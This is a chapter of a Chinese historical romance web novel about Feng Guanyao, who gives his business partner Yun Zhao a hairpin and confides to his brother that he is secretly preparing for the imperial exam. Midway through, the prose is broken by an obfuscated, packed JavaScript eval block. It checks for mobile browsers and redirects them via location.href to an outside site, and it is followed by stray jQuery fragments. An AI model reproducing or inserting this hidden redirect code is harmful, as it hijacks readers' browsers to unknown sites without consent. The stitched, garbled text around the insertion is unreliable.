云昭或许会厌烦他,会恨他很长时间。
因此在那之前的每分每秒,奉观遥都不想失去。
云昭并不知道奉观遥另有抉择,只当他不习惯两个人自江南分别后的生活,调笑他:“日后有的是机会两个人待呢。”
奉观遥微妙地不语,从怀里取出账本和钿合金钗。
“你的衣袋挺能装啊。”云昭意外。珐琅芙蓉花钿合,衔珠鸾鸟羽金钗,成色姝妍,做工极精。“买这个做什么?”
“你不是一直念叨着要给我们的布坊加上首饰生意吗?我在江南找到了个师傅,不过他不肯为我们做事,只肯给我做这套钿合金钗。”奉观遥语气轻松,“这套首饰给我也用不上,还是送给你吧。”
和以前一样,奉观遥没提他究竟是怎么找到师傅,又是怎么和师傅商谈、最后求他做首饰的。云昭想,他总是在背地里造出一座宫殿,然后才说自己做了个不足为道的小家。
于理不合的个性,她以前觉得这个性格十分怪异,今天之后,却又觉得情理之中。
就算说了其中艰难,以奉观遥的处境,大约也没有人会在意。
在京城也有好处。以前不知道的事情,最近总是一个个地冒出来,浮现答案。
云昭是很想多了解奉观遥一些的。
他们毕竟是这世界上最好的伙伴。不仅是东家与入伙人的关系,更是能彼此托付后背的战友。
鸾鸟羽在阳光下飘然欲飞,似马上就要挣翅而出,栩栩如生。云昭实在喜欢这技艺,可惜地问:“不是钱的问题?”
“嗯。他说他不喜受制于人,只想随心所欲。”
有这样手艺的人,即使不在主人家手下做工,也是争相抢夺的对象。
这就没办法了。
不过,孤品正因为它是孤品而加倍生辉。云昭把它对准艳阳,最后一次欣赏它拿在手上时的美丽,试图把它簪进发髻里。
奉观遥抬手,想替她簪上,但最终指尖在离她半寸处微颤,转而为她遮住耀眼得有些灼目的秋阳。阴影洒在云昭的脸上,让他垂首时能看得清她的容颜。
“我来帮你簪吧。”他听见自己开口说。
因为过于紧张,甚至无法分辨声音中隐含的颤抖是否会被她捕捉到,从而泄露端倪。
云昭歪头看他,觉得这样也好,把金钗塞进他手中。但刚塞完,就有些紧张。
“我应该可以相信你现在的审美水平吧?”
“这金钗的款式是我让师傅做的。”奉观遥脸上烧得通红,又羞又恼,这时候倒是和奉观逍有些像了,“云绾绾,你到底相不相信你的生意伙伴?!”
奉观遥只有恼羞成怒的时候会连名带姓地叫她。
云昭见他像被踩了尾巴的狸奴,噗的一声笑出来,这才放下心,憋笑道:“相信,相信。我这不是一朝被蛇咬十年怕井绳么。”
奉观遥以手掩唇,遮去火辣辣的双颊,快速选定位置,把鸾羽金钗稳稳地簪了进去。他左看右看,都十分满意,于是说:“你要是不放心,我去拿铜镜来。”
云昭点点头,但仍不忘再问:“你今天这身衣服是自己搭的吧?”
“云绾绾,你问第二次了。”
“那就不用拿铜镜了,我相信你。”
“你们两个悄悄话说完了吗?”院子里传来的声音打断二人的对话,奉观逍从院门后探出头来,“我能进来了吗?”
奉观遥看向云昭,云昭点头,奉观遥便说:“说完了,你回来吧。”
然后俯在云昭耳边低声道:“账本都是好消息,你回家翻也可,先把我哥应付了。”
三人在院子里站了半天,总算能进屋细说。
奉观遥紧挨着她坐下,奉观逍坐在二人对面,倒显得奉观遥与她关系近些,奉观逍这个哥哥是外人。
好在奉观逍是个心大的,根本不在乎这些。
而且,奉氏兄弟之间的关系的确称不上十分亲厚。两个人说了些有的没的,尽是些云昭已经知道的事。奉观遥把吃的喝的放到云昭面前,语调懒散:“盛府知道我回来?还是只有你。”
却见原本神色飞扬的奉观逍神色微凝,声音默了半刻才答:“……我跟老太太说过了。”
“哦。”奉观遥反应平平,似对这个结果早有预料,“你擅自来奉府,当心老太太动怒。”
“奉海平不在,老太太不会说什么的。”
云昭已经从奉观遥那里知道了他的家世生平,此刻再听也不觉尴尬,只管吃自己的。
奉观遥话不多,奉观逍便从家务事聊到了京城趣事。三个人一坐一个白天,直到太阳将落,云昭才告辞离去。
奉观逍没急着走,实际上他憋了一肚子话想问。
眼见云昭的马车驶离奉府,奉观逍拖着奉观遥回府,松开他的领子,急切地问:“你到底是不是喜欢她?!”
“你说呢?”奉观遥对待奉观逍一向是爱答不理的模样,把后者气得跳脚。
奉观逍想到他在信中说的,再想到今天他和云昭表现出的关系,极为恨铁不成钢地道:“你明知她看重你们二人如今的事业,为何……”
奉观遥脸上漫不经心的神色尽褪,他倚在门栏上,食指有一下没一下地拨弄腰间禁步,温润的玉佩,在月光沐浴中显得凄冷。
“她是伯府贵女,我是州牧弃子。”
“……未有功名,如何堪配。”
音调平缓,毫无起伏,如同冷眼旁观他人困局。
简单的几个字,砸得奉观逍愣在当场。
他不得不仔细地观察自己的弟弟。
明明还比他小三岁,周身的气质和举手投足的作态已成熟得不似骄纵少年人。虽然顶着同样的姓氏,同样的父母,但不同的经历,已将他们塑造成完全不同的人。
父亲为他们兄弟取逍遥二字为名,原本也与这世间其他父母一样,寄托了美好愿景,希望他们能乘风而上,快意生活。世事变转到如今,名字未改,但奉观遥的人生,大约已与逍遥无缘。
奉观逍握着折扇的手用力得骨节泛白,最终又松开。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16540504|186636||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
“但你有想过,如果你要步入官场,这生意是注定不可能再与她继续下去的么?”
“我知道。”
奉观逍不禁揪心:“那她若是生气……你不怕么?”
“我自然怕,所以我告诫你不许跟她讲。”奉观遥垂目,视线落在月光疾走的青石地砖上,不知在想什么,“明年二月的春闱,若我不中,便当此事不曾发生过。”
“别人说这话,我倒是觉得有一半的把握,这生意指定能继续做下去。”奉观逍都不知道替他高兴还是难过,“但你一个扬州解元,跟我说你会试不中,你觉得这可能吗?”
“万事皆有可能。”
“得了吧。父亲的血脉也就这点用处。”奉观逍无情戳破奉观遥的幻想,“但你再想想,功名真的有用吗?父亲和母亲,状元配贵女,不还是……”
他亦不忍再继续说。
在他看来,弟弟比他聪明得多。连他都懂的道理,奉观遥为什么不再考虑呢。
奉观遥离云昭如此之近,更应该把握优势,顺水推舟才对。
“是你该想想。”奉观遥声音冷冷,“若没有状元功名,奉海平又凭什么配得上母亲?不是状元,他连被选婿的资格都没有。”
“奉观逍,你总不至于让云昭嫁给我后,还要自降身份吧?”
尖锐的问题,灼伤为兄者的耳朵。
奉观逍知道是自己天真了,也陷入沉默。
“你不必再劝。我手上已无牌可出,不可能变得更糟。”奉观遥深吸一口气,他也必须沉下心来,才能够鼓起勇气去想象这件事若在云昭面前揭开后的结果,“唯一可庆幸的事是,绾绾身边没有其他人。我缺的只有时间。”
云昭的生意越做越大,等到他们的触手开始侵占他人的利益时,需要够硬的后台,才能免去许多麻烦。等到那时才考虑进入官场实在太晚,云昭的父母又年长,这个后台必须成为他们自己,才足够令人放心。
只要给他时间,他有了身份和权力,曾经觉得不可跨越的困苦都能轻而易举地迎刃而解。
上京之后的规划是他们一起做的,没有人比他更清楚上京后云昭身边会多需要人手和信得过的战友。
也同样是云昭最信任的战友,要选择在这时离开。
会试三年仅一次,即使考到状元,又有绝顶运气,也不过是个六品翰林,在偌大的京城,比砂砾更不足为提。时间比金更贵,已将他推上没有后路的悬崖。
断腕的阵痛,是为了走得更远。
他相信云昭会懂他,但暂时没有勇气坦白。
在谅解他之前,云昭会有什么反应,谁也不知道。
他也不敢想。
“我不会让她发现的。你只要帮我打掩护就好。在春闱之前,一切如旧。”
白皙少年声音坚定,似在嘱咐兄长,又像在催眠自己。
没关系的。
事情一定会按照他预想的那样进行的。
为了他们的未来,他会不惜一切代价,向上爬。